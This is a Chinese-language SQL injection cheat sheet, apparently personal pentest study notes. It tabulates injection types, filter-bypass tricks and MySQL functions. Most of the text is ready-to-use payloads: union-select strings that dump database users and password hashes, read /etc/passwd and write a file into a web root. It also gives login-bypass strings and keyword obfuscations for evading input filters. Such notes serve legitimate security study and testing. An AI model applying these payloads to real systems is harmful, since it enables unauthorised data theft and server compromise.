SQL注入笔记总结
在不断实践中经常遇到如下注入类型，总结了一些笔记
注入类型总结
注入类型 | 条件 | 关键 |
|---|---|---|
union注入 | 显示查询结果 | order by , union select |
布尔注入 | 只返回False或者True | length、ord函数、二分法 |
报错注入 | 返回错误信息 | updatexml、group_concat等函数 |
时间盲注 | 无返回信息判断可执行sleep | sleep、if等函数 |
宽字节注入 | 数据库为GBK编码、使用了addslashes函数转义 | %df'可以吃掉单引号 |
堆叠注入 | 执行多条查询语句 | 使用分号分隔多条查询语句 |
Cookie注入 | 在请求头中cookie参数异常 | 可用 sqlmap -r cook.txt - p 参数 |
base64注入 | 有base64编码过的参数 | 将payload进行base64编码,可用tamper |
XFF注入 | PHP中有getenv函数获取环境配置 | x-forward-for、http_client_ip等请求头参数 |
二次注入 | 用户注册功能等 | 在注册中插入恶意代码，在登录中执行 |
绕过方式总结
绕过方式 | 绕过技巧 |
|---|---|
大小写绕过 | 关键字未过滤大小写混写的情况，如UniON SEleCt |
双写绕过 | 关键字仅做替换的情况，可双写替换成需要的语句。如seleselectct替换为select |
编码绕过 | 未对编码过滤，可进行url、ascil等常用的编码payload |
内联注释绕过 | /!and/ |
反注入函数总结
函数名称 | 作用 |
|---|---|
addslashes($string) | 用反斜线引用字符串中的特殊字符' " \ |
mysql_escape_string($string) | 用反斜杠转义字符串中的特殊字符，用于mysql_query()查询 |
mysql_real_escape_string($string) | 转义SQL语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集，需要保证当前是连接状态才能用该函数，否则会报警告。不转义%与_ |
注入常用函数总结
函数名称 | 作用 |
|---|---|
group_concat | 可以把查询的内容组合成一个字符串 |
load_file(file name ) | 读取文件并将文件按字符串返回 |
left（string，length） | 返回最左边指定的字符数：left（database（），1）>’s’ (猜名字) |
length（） | 判断长度length（database（）>5 |
substr（a，b，c) | 从字符串a中截取 b到c长度 |
ascii（） | 将某个字符转为ascii值ascii（substr（user（），1，1））=101# |
mid（a，b，c） | 从字符串a中截取 b到c位置（可以用来猜数据库名 ） |
常查询变量
变量 | 返回结果 |
|---|---|
database | 数据库名 |
version | 数据库版本号 |
user | 数据库当前用户名 |
@@basedir | 数据库安装路径 |
@@version_compile_os | 数据库操作系统 |
注入常用命令
- 查看当前用户
union select 1,(select user())–+
- 查看数据库版本
union select 1,(select version())–+
- 查看当前数据库名
union select 1,(select database())–+
- 查看操作系统
union select 1,(select @@version_compile_os)–+
- 所有用户
union select 1,(select group_concat(user) from mysql.user)–+
- 用户hash
union select 1,(select group_concat(password) from mysql.user where user=’root’)
- 查看所有数据库名
union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
- 查看某一个库的全部表
union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=’库名’)–+ union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=’库名’
- 查看某个表的字段名
union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=’表名’)–+
- 查看某个库中某个表的字段名
union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’表名’ and table_schema=’库名’)–+
- 读文件
union select 1,(SELECT load_file(‘/etc/passwd’))–+
- 写文件
union select 1,’‘ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+
绕过登录验证
- admin’ –
- admin’ #
- admin’/*
- ‘ or 1=1–
- ‘ or 1=1#
- ‘ or 1=1/*
- ‘) or ‘1’=’1–
- ‘) or (‘1’=’1–
特定符号绕过
符号名 | 绕过方法 |
|---|---|
空格 | %09 %0a %A0 %20 /**/ |
注释符 | -- - /* .... */ # ` ;%00 %23 |
union | uniounionn UNioN uni/**/on /!union/ |
select | selecselectt SeCel/**/t /!select/ |
or | oorr OR o/**/r /!or/ |
and | && anandd ANd an/**/d /!and/ |